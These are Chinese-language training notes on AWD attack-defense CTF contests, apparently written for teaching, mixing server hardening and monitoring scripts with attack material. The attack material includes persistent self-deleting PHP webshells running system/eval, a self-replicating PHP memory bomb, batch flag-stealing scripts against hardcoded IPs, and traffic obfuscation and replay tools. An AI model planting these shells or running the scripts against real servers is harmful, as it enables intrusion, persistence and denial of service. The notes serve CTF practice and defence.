要去给别人培训,所以总结了下
AWD赛制 百度百科:https://baike.baidu.com/item/AWD%E8%B5%9B%E5%88%B6/24705704 
通过别人的实战理解比较好:https://err0r.top/article/2021ciscnawd/ 
比赛形式
比赛开始前会给每支队伍分配 SSH 账号,比赛开始用该账号登录服务器进行维护(多为 Linux 服务器)。 
在服务器的某处有一个 flag 文件,默认没有权限修改,一般在根目录下。 
主办方每隔一定时间,进行一轮刷新。一轮内一支队伍的 flag 只能被提交一次,flag 一旦被拿走将扣除该队的分数。 
主办方会对服务进行 check,一般的判断标准就是服务是否还存在。 
 
扣除的积分由获取 flag 的队伍均分。
一般一个队伍由三人组成。负责两个方面:一方面负责防守加固、做基线、加WAF、流量回放等等。一方面负责源码审计、写攻击脚本、维持权限、持续渗透,具体怎么安排都视三人能力而定。
AWD前期准备 用户管理 检查可登陆用户 
cat /etc/passwd|grep -v nologin 
修改ssh密码 因为给的ssh密码可能是弱口令或者有规律
1 2 passwd username # 输入密码确认即可 
权限管理 检查crontab执行权限 
/var/adm/cron/ 下看cron.allow 和cron.deny, 如果两个文件都不存在,则只有root 用户能执行crontab 命令,allow 里存放允许的用户,deny 里存放拒绝的用户,以allow 为准。 
数据库 修改数据库密码及备份数据库(以 mysql 为例) 修改 mysql 密码
1 2 3 4 5 6 7 8 9 10 11 12 1. 登录 mysql 终端,运行: mysql> set password=password('new passwd'); mysql>flush privileges; 2. 修改 mysql user 表 mysql>use mysql; mysql>update user set password=password('new password') where user='root'; mysql>flush privileges; 3. 使用 GRANT 语句 mysql>GRANT ALL PRIVILEGES ON *.* TO 'root'@'127.0.0.1' IDENTIFIED BY 'new password' WITH GRANT OPTION; mysql>flush privileges; 4. mysqladmin [root@ubuntu]# mysqladmin -u root passwd "new passwd";(注意双引号或不加) 
备份指定的多个数据库
1 [root@ubuntu] # mysqldump -u root -p  --databases  databasesname > /tmp/db.sql 
数据库恢复,在mysql终端下执行
备份/还原数据库 1 2 3 4 5 mysql -uroot -proot -e "select user,host from mysql.user;"  mysqldump -uroot -proot db_name > /tmp/bak.sql mysqldump -uroot -proot --all-databases > bak.sql mysql -uroot -proot db_name < bak.sql >	source  bak.sql		 
关闭mysql远程连接 1 2 3 4 5 mysql - u root - p mysql>  use mysql; mysql>  update  user  set  host =  'localhost'  where  user = 'root'  and  host= '%' ; mysql>  flush privileges; mysql>  exit; 
源码 源码备份 1 2 3 4 #  打包目录 tar -zcvf archive_name.tar.gz directory_to_compress #  解包 tar -zxvf archive_name.tar.gz 
之后使用 scp 命令或者 winscp,mobaxterm 等工具下载打包后的源码
上 WAF 注意waf可能会把check给拦了,这个时候记得把waf关了
1 2 #  批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php" ;?> find /var/www/html -path /var/www/html -prune -o  -type f -name '*.php'|xargs  sed -i '1i<?php require_once "/tmp/waf.php";?>' 
也可以修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限
1 2 3 ; Automatically add files before PHP document. ; http://php.net/auto-prepend-file auto_prepend_file = /tmp/waf.php 
附上郁离歌的一枚 WAF,会在 /tmp/loooooooogs 目录下生成日志文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php error_reporting (0 ); define ('LOG_FILEDIR' ,'/tmp/loooooooogs' );if (!is_dir (LOG_FILEDIR)){	mkdir (LOG_FILEDIR); } function  waf (if  (!function_exists ('getallheaders' )) { function  getallheaders (foreach  ($_SERVER  as  $name  => $value ) { if  (substr ($name , 0 , 5 ) == 'HTTP_' ) $headers [str_replace (' ' , '-' , ucwords (strtolower (str_replace ('_' , ' ' , substr ($name , 5 )))))] = $value ;}  return  $headers ; }  }  $get  = $_GET ; $post  = $_POST ; $cookie  = $_COOKIE ; $header  = getallheaders (); $files  = $_FILES ; $ip  = $_SERVER ["REMOTE_ADDR" ]; $method  = $_SERVER ['REQUEST_METHOD' ]; $filepath  = $_SERVER ["SCRIPT_NAME" ]; foreach  ($_FILES  as  $key  => $value ) { $files [$key ]['content' ] = file_get_contents ($_FILES [$key ]['tmp_name' ]); file_put_contents ($_FILES [$key ]['tmp_name' ], "virink" ); } unset ($header ['Accept' ]);$input  = array ("Get" =>$get , "Post" =>$post , "Cookie" =>$cookie , "File" =>$files , "Header" =>$header );logging ($input );} function  logging ($var $filename  = $_SERVER ['REMOTE_ADDR' ];$LOG_FILENAME  = LOG_FILEDIR."/" .$filename ;$time  = date ("Y-m-d G:i:s" );file_put_contents ($LOG_FILENAME , "\r\n" .$time ."\r\n" .print_r ($var , true ), FILE_APPEND); file_put_contents ($LOG_FILENAME ,"\r\n" .'http://' .$_SERVER ['HTTP_HOST' ].$_SERVER ['PHP_SELF' ].'?' .$_SERVER ['QUERY_STRING' ], FILE_APPEND);file_put_contents ($LOG_FILENAME ,"\r\n***************************************************************" ,FILE_APPEND);} waf (); ?> 
生成的日志是 www-data 权限,一般 ctf 权限是删除不了的。上好 WAF 之后做好打包备份,除了源文件一份备份,我一般上好 WAF ,打好补丁还会做备份。
一些软waf 软waf部署起来比较麻烦,而且对环境要求高,所以用来借鉴就可以了。如果合适的话可以布置。
https://github.com/admintony/Prepare-for-AWD 
PHP软waf 
1 https://github.com/leohearts/awd-watchbird 
将waf.so、watchbird.php文件存放在/var/www/html或其他目录中。 
将watchbird.php放在www-data可读的目录, 确保当前用户对目标目录可写, 然后执行。 
 
1 php watchbird.php --install  /web  
访问任意启用了waf的文件, 参数?watchbird=ui。 
如需卸载, 请在相同的位置输入: 
 
1 php watchbird.php  --uninstall  [Web目录]  
pcap-search 
1 2 3 4 5 curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add - sudo sh -c "echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list"  sudo apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common sudo apt-get update sudo apt install docker.io 
1 2 3 git clone  https://github.com/ss8651twtw/pcap-search.git cd  pcap-search/docker./build_docker.sh 
运行pcap-search后,使用指定的端口即可访问: 
 
1 2 ./run_docker.sh [the pcap directory you want to mount] [port] [name] ./run_docker.sh /home/secc/Desktop/cap 8080 pcap-search 
抓包:
1 2 socat tcp-l:9875 ,fork exec:/home/ secc/Desktop/ ciscn_2019_es_2 tcpdump -i eth1 port 9875  -w 1 .cap	 
打完流量后,按Ctrl+C停止抓包,并保存流量包文件。 
 
将流量包建在二级目录下:
将我们之前运行时指定的目录看作为根目录的话,需要在根目录下再新建一个文件夹,例如项目“pwn1”。将生成的cap文件拷贝到文件夹中,项目自己会自动生存cap.ap和cap.ap.fm文件。再次访问网页就可以查询到包中的流量了。 
 
1 2 3 4 5 cap └── pwn1     ├── 1.cap      ├── 1.cap .ap      └── 1.cap .ap .fm 
 
可以根据流量包自动生成脚本重放(由于只是对流量的完全重放,所以如果有泄露地址,这个功能就有些鸡肋了): 
 
AWD攻击 快速主机发现 nmap nmap -sn 192.168.0.0/24
goby+masscan goby
https://gobies.org/ 
可以结合goby商城下载msscan,扫的更快
根据自己主机开放的端口 简单来说,大家的主机配置都是一样的,所以主机开了什么端口,其它的目标机器也开了什么端口,直接扫相同的端口即可
代码审计 seay代码审计工具 先快速找一波,再用D盾扫
1 2 3 4 5 6 7 8 9 10 11 12 13 find  . -name '*.php'  | xargs grep  -n 'eval(' find  . -name '*.php'  | xargs grep  -n 'assert(' find  . -name '*.php'  | xargs grep  -n 'system(' find  . -name '*.php'  | xargs grep  -n 'shell_exec' find  . -name '*.php'  | xargs grep  -n 'exec' find  . -name '*.php'  | xargs grep  -n 'proc_open' find  . -name '*.php'  | xargs grep  -n 'preg_replace' 
然后可以用D盾扫看有没有后门
seay白盒审计,可以用全局搜索函数
审计
全局搜索
fortity 具体用法,可以扫描一些其它语言
https://blog.csdn.net/weixin_52515588/article/details/124320421 
D盾扫后门 http://www.d99net.net/ 
有些比赛会给你留一个简单的后门,这个时候一般D盾能扫描出来
批量攻击 一些批量脚本 仅供参考,使用前请提前调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 import  requests,time,re,base64,sys,os,random,itertools,logging,html,jsonfrom  concurrent.futures import  ThreadPoolExecutorfrom  optparse import  OptionParserdebug = True  url_flag = 'http://49.234.101.119/submit.php'  url_list = ['49.234.101.119' ] * 10  url_list = ['http://{}/sdnasdhasohdaus.php?cmd=cat /flag' .format (url) for  url in  url_list] round_time = 3   success_string = b'success'  single = False   options = []  args = [] def  display (info ):    print ("=" *40 ,info,"=" *40 ) def  tell_me_time ():	return  time.strftime('%H:%M:%S' ) def  sleep_minute (minute ):	time.sleep(minute*60 ) def  sleep_second (second ):	time.sleep(second) def  log_info (message ):    logging.basicConfig(level='INFO' ,                         filename='flag.log' ,                         filemode='a' )     logging.info(message) 	 def  set_option ():	global  options,args 	parser = OptionParser(usage='Usage: python %prog [options] type' ) 	parser.add_option('-u' ,'--url' ,type =str ,dest='url' ,default='http://127.0.0.1' ,help ='target ip' ) 	parser.add_option('-l' ,'--url_list' ,type =str ,dest='url_list' ,help ='target ip list' ) 	parser.add_option('-t' ,'--timeout' ,type =int ,dest='timeout' ,default=2 ,help ='timeout' ) 	parser.add_option('-n' ,'--threadnum' ,type =int ,dest='threadnum' ,default=10 ,help ='threadnum' ) 	parser.add_option('-p' ,'--type' ,type =str ,dest='request_type' ,default='post' ,help ='request type' ) 	parser.add_option('-r' ,'--round' ,type =int ,dest='round' ,default=10 ,help ='total round' ) 	parser.add_option('-d' ,'--debug' ,type =int ,dest='debug' ,default=0 ,help ='debug mode' ) 	parser.add_option('-m' ,'--max_try_time' ,type =int ,dest='max_try_time' ,default=1 ,help ='max retry time' ) 	(options, args) = parser.parse_args(sys.argv) 	parser.print_help() def  exploit (url ):    data = {'cmd' :'whoami' }     cookies = {}     headers = {}     r = requests.get(url=url,data=data,cookies=cookies,headers=headers)     result = re.findall("(flag{.*?})" ,r.content.decode('utf-8' ))     if  result is  None :         return  ''      else :         return  result[0 ] def  submit (flag ):    data = {'flag' :flag}     cookies = {'session' :'123' }     r = requests.post(url=url_flag,cookies=cookies)     return  success_string in  r.content def  task (url ):    flag = exploit(url)     print ('{} [FLAG={}] ip {}' .format (tell_me_time(),flag,url))     status = submit(flag)     if  status:         print ('{} [OK] ip {}' .format (tell_me_time(),url))     else :         print ('{} [FAILED] ip {}' .format (tell_me_time(),url)) def  main ():         cnt = 1      display("[URL LIST]" )     print ('\n' .join(url_list))     while  True :         print ('=' *40 ,'[ROUND {}]' .format (cnt),'=' *40 )         cnt += 1          if  single == True :                          print ('[single] ...........' )             for  url in  url_list:                 task(url)         else :                          thread_list = []             p = ThreadPoolExecutor(len (url_list))             for  url in  url_list:                 obj = p.submit(task,url)                 thread_list.append(obj)             p.shutdown()                  sleep_second(20 ) if  __name__ == '__main__' :main() 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from  pwn import  *import  requestsimport  osimport  timeflag = ''  def  subflag (flag ):	io.sendlineafter('> ' ,'a="./flag"' )     	io.sendlineafter('> ' ,'read(a)' ) 	a=io.recvuntil('> ' ) 	print (a) 	flag = re.findall(r'[0-9A-Za-z]{60}' ,a) 	print (flag) 	try : 		flag = flag[0 ] 		url = 'http://192.168.1.200/api/v1/att_def/web/submit_flag/?event_id=10'  		data = {"flag" :flag,"token" :"FBWQwm84r3muFs49JHcf6YxeUaARHXDK75ntt9QWGxhQY" } 		 		print (flag) 		res = requests.post(url=url,data=data,timeout=2 ) 		print (res.text) 	except : 		pass  for  i in  range (1 ,23 ):    try :         io = remote('172.35.' +str (i)+'.15' ,9999 )         	subflag(flag)         print (flag)     except :         io.close() 
burp的tips burp的host爆破和request插件
流量重放 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import  socketimport  reimport  sysimport  osif  len (sys.argv) != 3 :	print  ("Usage: python repost.py [log_dir] [regex]" ) 	exit() dir  = os.listdir(sys.argv[1 ])for  i in  dir :	file = open (sys.argv[1 ] + '/'  + i) 	content = file.read() 	host = re.findall("Host: (.*)\n" , content)[0 ].strip() 	if  host.find(":" ) != -1 : 	    port = host.split(":" )[1 ] 	    host = host.split(":" )[0 ] 	else : 	    port = "80"  	sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 	sock.connect((host, int (port))) 	sock.sendall(content) 	reply = sock.recv(4096 ) 	if  len (re.findall(sys.argv[2 ], reply)): 		print  content  	else : 		continue  print  "finish" 
简单来说就是抓取别的队伍的exp或者check的流量直接改目标重放来进行攻击
https://github.com/Jeffz615/autoTcpReplay 
https://cloud.tencent.com/developer/news/267902 
https://github.com/wupco/weblogger 
流量混淆 由于攻击代码可能会被别人进行流量的分析,从而自己找到的漏洞就被别人轻易获取,这个时候流量混淆就变得非常重要了。
所以拿到代码测试flag一般打NPC,或者自己的靶机,而不是直接不加密去拿别人的flag,这样有被重放的风险
一些混淆的链接 
https://flag0.com/2018/09/15/AWD%E6%B5%81%E9%87%8F%E6%B7%B7%E6%B7%86/ 
简单的干扰脚本 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 import  requestsimport  randomimport  iofrom  urllib.parse import  urlencodeimport  threadingimport  time import  base64def  ip_list ():    global  iplist     iplist = []     for  a in  range (0 , 1 ):         i = "182.92.91.240"                     iplist.append(i) def  Get_catalog ():	with  io.open ('catalog.txt' , 'r' , encoding='UTF-8' ) as  f: 		catalog = f.read().split('|' ) 	return  catalog def  Get_doc ():	with  io.open ('doc.txt' , 'r' , encoding='UTF-8' ) as  f: 		doc = f.read().strip().split('|' ) 	return  doc def  Get_cmd ():	with  io.open ('cmd.txt' , 'r' , encoding='UTF-8' ) as  f: 		cmds = f.readlines() 	cmds = [cmd.strip() for  cmd in  cmds] 	return  	cmds def  Get_cookie ():	with  io.open ('useragent.txt' , 'r' , encoding='UTF-8' ) as  f: 		user_agents = f.readlines() 	user_agents = [base64.b64encode((ua.strip()[21 :40 ]).encode()) for  ua in  user_agents]   	return  user_agents def  Build_url (ip,catalog,doc ):	catalog = random.choice(Get_catalog()) 	 	doc = random.choice(Get_doc()) 	url = 'http://'  + ip + '/'  + catalog + '/'  + doc  	return  url def  headerbuild (cookie ):	 	with  io.open ('useragent.txt' , 'r' , encoding='UTF-8' ) as  f: 		user_agents = f.readlines() 	user_agents = [ua.strip() for  ua in  user_agents] 	 	headers= { 		         'User-Agent' :random.choice(user_agents), 		'Cookie' : cookie, 		'X-Requested-With' : 'XMLHttpRequest' , 		'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8' , 		 		'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3' , 		'Accept' : '*/*' , 	} 	return  headers def  StartRequest (method, url, data = None , cookies = None , timeout = 3  ):         headers= headerbuild(cookies)               if  method.lower() == 'get' :         url = url+ '?'  + data         try :           request = requests.get(url=url, headers=headers, timeout=timeout)          except  Exception as  e:         	pass      if  method.lower() == 'post' :         values = dict ()         if  data:             values_list = data.strip().split('&' )             for  val in  values_list:                 values[val.split('=' )[0 ]] = val.split('=' )[1 ]         data = urlencode(values)         try :         	request = requests.post(url = url,data = data,headers = headers,proxies={"http" :"127.0.0.1:8080" })          	         except  Exception as  e:         	pass                   if  __name__ == '__main__' :	 	cmds = Get_cmd() 	catalog = Get_catalog() 	doc = Get_doc() 	cookies = Get_cookie() 	ip_list() 	myip = '0.0.0.0'    	threads=10   	 	while  1 : 		for  ip in  iplist: 			 			if  ip==myip: 				continue  			url = Build_url(ip,catalog,doc) 			 			data = random.choice(cmds) 			cookie = random.choice(cookies) 			while  (threading.activeCount() > threads): 				time.sleep(1 ) 				 			Req_method = random.choice(['get' ,'post' ]) 			t1 = threading.Thread(target=StartRequest, args=(Req_method,url,data,cookie,))   			t1.start() 
还有一些其它的流量混淆脚本具体可以网上找找,这里就不过多介绍了。
权限维持 不死马+流量混淆 1 ignore_user_abort (true 
函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制
删除文件本身,以起到隐蔽自身的作用。
1 2 3 4 5 6 7 8 9 10 11 12 13 pass=00 O00OO00O0OOO0OO00OO000O0OO0OOO00OO0000OOOOOO0000 <?php 	echo  'godspeed' ; 	ignore_user_abort (true ); 	set_time_limit (0 ); 	unlink (__FILE__ ); 	$file  = '.config.php' ; 	$code  = '<?php if(md5($_GET["pass"])=="242991be1885bca41407f38a170433aa"){@system($_POST["cmd"]);}else{echo "flag{8b7aa1b23253699eb88c1f18c0469fcb}";} ?>' ; 	while  (1 ){ 	    file_put_contents ($file ,$code ); 	    usleep (50 ); 	} ?> 
uuid版本要换一下flag flag{d7ac2d98-eda9-11ea-bbcf-525400554ea8}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import random for  i  in  range (10 ):...     print ('' .join (random.sample (['O' ,'0' ] *50 ,50 ))) ... O00OO000OO000O00O000O00O0OO0O00OO0OOO00O0OOOO0000O 000 OO0000OO00000OOOO0O0OOOO00OO000OO0000OOOO00O0OOO0O0OOOOO00OO000O0O0O000OOO0OOO00OOO00000O0O00O0O0 0 O00O00OOOOOO00O000O00O00OO000O00000OOO0O00OO00O00000000 O0OOO0OOO0OO000OOOO0OO0O000OO000OOOO00OOO0000 O00O00OO0OOO0O0O0OO000OOO000000OOO0000OOOO0000O0OO000OOO0OOO000000OO0O00000OO0O000O0OO0O00O000OO0O0 OO0OO0O000OO0OO0O00OO00000000OO000O0O0O0OO0OO00O0O OOO0O0OOO000O000O000O0O00O00OO00O0000O0OOO0OO00000 0 O000000OO00O000O00OO0OO00O00O0O0O0OOO0OOOO0O00OOO
上面的不死马也很好克制,我们再写一个kill_dead.php 运行一下就好了
1 2 3 4 5 6 7 8 9 10 11 <?php ignore_user_abort (true );set_time_limit (0 );unlink (__FILE__ );$file  = '.config.php' ;$code  = '' ;while  (1 ){file_put_contents ($file ,$code );usleep (5000 );} ?> 
bash克制方式 相当于删完文件后创一个同名文件夹 不死马就没法创建了
1 2 3 4 5 #!/bin/bash directory="/var/www/html/.config.php/"  file="/var/www/html/.config.php"  rm  -rf $file mkdir  $directory 
一句话 经测试最快 中木马后可以立即使用,之后再慢慢清理进程
1 rm .config.php && mkdir .config.php/ 
不死马不管怎么写都是有克制的办法的,核心就是循环写他,速度比攻击者快就好了,或者创一个同名文件夹占用掉filename
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php 	echo  "ok" ;     set_time_limit (0 );     ignore_user_abort (1 );          $file  = '/var/www/html/.index.php' ;     $pass  = 'cao233' ;     $content  = '<?php if(md5($_POST["pass"])=="429ff12ab245018967830cd551b126d5"){@eval($_POST["cao233"]);}?>' ;     unlink (__FILE__ );     while (1 ) {         if (!file_exists ($file ) || md5 (file_get_contents ($file )) != md5 ($content ))         file_put_contents ($file , $content );     } ?> 
RSA不死马与流量混淆
https://xz.aliyun.com/t/4640#toc-1 
骚操作 流量混淆 1 while  true ;do  curl -b "PHPSESSID=xxxx"   -A "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.0)"   xxxxxxxxxx/merchant/classroom/into -X POST -d "flag=xxxxxx=1&roomid=12" ;sleep  60;done ;
假flag、假curl 1 2 3 4 alias curl='echo flag{e4248e83e4ca862303053f2908a7020d}' chmod -x /usr/bin/curl alias cat='python -c "__import__(\" sys\" ).stdout.write(\" flag{%s}\\ n\"  % (__import__(\" hashlib\" ).md5(\" \" .join([__import__(\" random\" ).choice(__import__(\" string\" ).letters) for i in range(0x10)])).hexdigest()))" ' 
内存炸弹 1 2 3 4 5 6 7 8 9 <?php     set_time_limit (0 );     ignore_user_abort (1 );     while (1 ) {         $file  = mt_rand (0 ,time ()*time ()).'.php' ;         file_put_contents ($file , file_get_contents (__FILE__ ));         file_get_contents ("http://127.0.0.1/$file " );     } ?> 
AWD防守 文件监控 命令find进行文件监控 寻找最近20分钟修改的文件
1 find  /var/ www/html -name *.php -mmin -20 
Shell监控新增文件 创建文件的时候更改文件创建时间熟悉可能监测不到。
1 2 3 4 5 6 # !/bin/bash while true do     find /var/www/html -cmin -60 -type f | xargs rm -rf     sleep 1 done 
循环监听一小时以内更改过的文件或新增的文件,进行删除。
Python检测新增文件 放在 /var/www/ 或 /var/www/html 下执行这个脚本,它会先备份当然目录下的所有文件,然后监控当前目录,一旦当前目录下的某个文件发生变更,就会自动还原,有新的文件产生就会自动删除。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 import  osimport  hashlibimport  shutilimport  ntpathimport  timeCWD = os.getcwd() FILE_MD5_DICT = {}  ORIGIN_FILE_LIST = [] Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'  bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'  logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'  webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'  difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'  Special_string = 'drops_log'   UNICODE_ENCODING = "utf-8"  INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"  spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str)) Special_path = {     'bak'  : os.path.realpath(os.path.join(spec_base_path, bakstring)),     'log'  : os.path.realpath(os.path.join(spec_base_path, logstring)),     'webshell'  : os.path.realpath(os.path.join(spec_base_path, webshellstring)),     'difffile'  : os.path.realpath(os.path.join(spec_base_path, difffile)), } def  isListLike (value ):    return  isinstance (value, (list , tuple , set )) def  getUnicode (value, encoding=None , noneToNull=False  ):    if  noneToNull and  value is  None :         return  NULL     if  isListLike(value):         value = list (getUnicode(_, encoding, noneToNull) for  _ in  value)         return  value     if  isinstance (value, unicode):         return  value     elif  isinstance (value, basestring):         while  True :             try :                 return  unicode(value, encoding or  UNICODE_ENCODING)             except  UnicodeDecodeError, ex:                 try :                     return  unicode(value, UNICODE_ENCODING)                 except :                     value = value[:ex.start] + "" .join(INVALID_UNICODE_CHAR_FORMAT % ord (_) for  _ in  value[ex.start:ex.end]) + value[ex.end:]     else :         try :             return  unicode(value)         except  UnicodeDecodeError:             return  unicode(str (value), errors="ignore" ) def  mkdir_p (path ):    import  errno     try :         os.makedirs(path)     except  OSError as  exc:         if  exc.errno == errno.EEXIST and  os.path.isdir(path):             pass          else : raise  def  getfilelist (cwd ):    filelist = []     for  root,subdirs, files in  os.walk(cwd):         for  filepath in  files:             originalfile = os.path.join(root, filepath)             if  Special_path_str not  in  originalfile:                 filelist.append(originalfile)     return  filelist def  calcMD5 (filepath ):    try :         with  open (filepath,'rb' ) as  f:             md5obj = hashlib.md5()             md5obj.update(f.read())             hash  = md5obj.hexdigest()             return  hash      except  Exception, e:         print  u'[!] getmd5_error : '  + getUnicode(filepath)         print  getUnicode(e)         try :             ORIGIN_FILE_LIST.remove(filepath)             FILE_MD5_DICT.pop(filepath, None )         except  KeyError, e:             pass  def  getfilemd5dict (filelist = [] ):    filemd5dict = {}     for  ori_file in  filelist:         if  Special_path_str not  in  ori_file:             md5 = calcMD5(os.path.realpath(ori_file))             if  md5:                 filemd5dict[ori_file] = md5     return  filemd5dict def  backup_file (filelist=[] ):         for  filepath in  filelist:         if  Special_path_str not  in  filepath:             shutil.copy2(filepath, Special_path['bak' ]) if  __name__ == '__main__' :    print  u'---------start------------'      for  value in  Special_path:         mkdir_p(Special_path[value])          ORIGIN_FILE_LIST = getfilelist(CWD)     FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)     backup_file(ORIGIN_FILE_LIST)      print  u'[*] pre work end!'      while  True :         file_list = getfilelist(CWD)                  diff_file_list = list (set (file_list) ^ set (ORIGIN_FILE_LIST))         if  len (diff_file_list) != 0 :                          for  filepath in  diff_file_list:                 try :                     f = open (filepath, 'r' ).read()                 except  Exception, e:                     break                  if  Special_string not  in  f:                     try :                         print  u'[*] webshell find : '  + getUnicode(filepath)                         shutil.move(filepath, os.path.join(Special_path['webshell' ], ntpath.basename(filepath) + '.txt' ))                     except  Exception as  e:                         print  u'[!] move webshell error, "%s" maybe is webshell.' %getUnicode(filepath)                     try :                         f = open (os.path.join(Special_path['log' ], 'log.txt' ), 'a' )                         f.write('newfile: '  + getUnicode(filepath) + ' : '  + str (time.ctime()) + '\n' )                         f.close()                     except  Exception as  e:                         print  u'[-] log error : file move error: '  + getUnicode(e)                  md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)         for  filekey in  md5_dict:             if  md5_dict[filekey] != FILE_MD5_DICT[filekey]:                 try :                     f = open (filekey, 'r' ).read()                 except  Exception, e:                     break                  if  Special_string not  in  f:                     try :                         print  u'[*] file had be change : '  + getUnicode(filekey)                         shutil.move(filekey, os.path.join(Special_path['difffile' ], ntpath.basename(filekey) + '.txt' ))                         shutil.move(os.path.join(Special_path['bak' ], ntpath.basename(filekey)), filekey)                     except  Exception as  e:                         print  u'[!] move webshell error, "%s" maybe is webshell.' %getUnicode(filekey)                     try :                         f = open (os.path.join(Special_path['log' ], 'log.txt' ), 'a' )                         f.write('diff_file: '  + getUnicode(filekey) + ' : '  + getUnicode(time.ctime()) + '\n' )                         f.close()                     except  Exception as  e:                         print  u'[-] log error : done_diff: '  + getUnicode(filekey)                         pass          time.sleep(2 )          
目录监控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import  os,timefrom  pyinotify import  WatchManager, Notifier, ProcessEvent, IN_DELETE, IN_CREATE, IN_MODIFY,IN_ACCESSdef  tell_me_time ():	return  time.strftime('%H:%M:%S' ) class  EventHandler (ProcessEvent ):	def  process_IN_CREATE (self, event ): 		print  ("[{}] Create file:{}."  .format (tell_me_time(),os.path.join(event.path,event.name))) 	def  process_IN_DELETE (self, event ): 		print  ("[{}] Delete file:{}."  .format (tell_me_time(),os.path.join(event.path,event.name))) 	def  process_IN_MODIFY (self, event ): 		print  ("[{}] Modify file:{}."  .format (tell_me_time(),os.path.join(event.path,event.name))) 	def  process_IN_ACCESS (self, event ): 		print  ("[{}] Access file:{}."  .format (tell_me_time(),os.path.join(event.path,event.name))) def  FsMonitor (path='.'  ):	wm = WatchManager() 	mask = IN_DELETE | IN_CREATE | IN_MODIFY | IN_ACCESS 	notifier = Notifier(wm, EventHandler()) 	wm.add_watch(path, mask, auto_add= True , rec=True ) 	print  ("now starting monitor %s."  %path) 	while  True : 		try : 			notifier.process_events() 			if  notifier.check_events(): 				print  ("check event true." ) 				notifier.read_events() 		except  KeyboardInterrupt: 			print  ("keyboard Interrupt." ) 			notifier.stop() 			break  if  __name__ == "__main__" :	FsMonitor("/var/www/html/" ) 
监控1分钟内被修改的文件并删除
删除一分钟内含命令执行的文件,有询问,后面那个无询问 强制删除
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/bin/bash while  true do 	  file=$(find /var/www/html/ -cmin -1 -type  f -name "*.php"  | xargs grep -lE 'system|passthru|exec|shell_exec|popen|proc_open|pcntl_exec' ) 		DATE=`date  '+%Y-%m-%d %H:%M' `; 		echo  $DATE ; 		echo  $file ; 		read  -r -p "是否删除[y/n]?"  confirm 		case  $confirm  in  		    [yY][eE][sS]|[yY]) 				echo  $file  | xargs rm  				echo  "delete success"  		;;     [nN][oO]|[nN])     		echo  "No"      ;;       *)     		echo  "Invalid input..."      		exit  1     	;;     	esac      	sleep  5 done 
1 2 3 4 5 6 7 8 9 #!/bin/bash while  true do 	  file=$(find /var/www/html/ -cmin -1 -type  f -name "*.php"  | xargs grep -lE 'system|passthru|exec|shell_exec|popen|proc_open|pcntl_exec' ) 		DATE=`date  '+%Y-%m-%d %H:%M' `; 		echo  $DATE ; 		echo  $file  | xargs rm ; 		sleep  5 done  
日志分析 监测payload tail -f *.log,看日志,不言而喻,抓他们的payload并利用。
中间件日志 ⽐如apache,nginx
1 cat  /var/log/apache2/access.log |awk '{print $7}' |sort |uniq  -c| sort  -r|head 
